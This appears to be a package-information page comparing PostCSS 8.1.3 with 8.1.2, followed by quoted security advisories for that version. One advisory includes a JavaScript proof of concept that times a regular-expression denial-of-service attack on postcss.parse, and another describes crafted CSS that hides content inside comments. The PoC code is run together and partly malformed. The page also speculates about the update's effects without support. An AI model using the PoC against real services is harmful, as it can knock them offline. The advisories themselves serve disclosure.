PostCSS version 8.1.3 is a minor update to the popular tool for transforming styles with JavaScript plugins, building upon the previous stable version 8.1.2. Both versions share the same core functionality, allowing developers to manipulate CSS with a wide range of available plugins – from autoprefixing and linting to future CSS syntax transformations. They also maintain the use of core dependencies like colorette for colorful terminal output, source-map for debugging, and line-column for precise error reporting.
The primary difference between the two versions lies in their dependency on nanoid, a small, secure, URL-friendly unique string ID generator. Version 8.1.3 updates this dependency from nanoid@3.1.12 to nanoid@3.1.15. This likely includes bug fixes, performance improvements, and potentially enhanced security features within the nanoid library itself. While potentially subtle, this update could provide stability improvements especially for projects heavily relying on unique ID generation within PostCSS plugins. Developers should examine the changelog for nanoid to understand specific improvements.
Another difference is size and release date. Version 8.1.3 came with a slight increase in unpacked size (196941 vs 196568) while the release dates are different, meaning that version 8.1.3 introduces new features and fixes in comparison to the previous stable version.
For most developers, upgrading from 8.1.2 to 8.1.3 should be seamless. However, it's always advisable to review the changelogs for both PostCSS and its dependencies like nanoid to ensure compatibility and understand any potential impact on your project. This minor update reflects the ongoing maintenance and refinement of the PostCSS ecosystem making it more reliable.
All the vulnerabilities related to the version 8.1.3 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.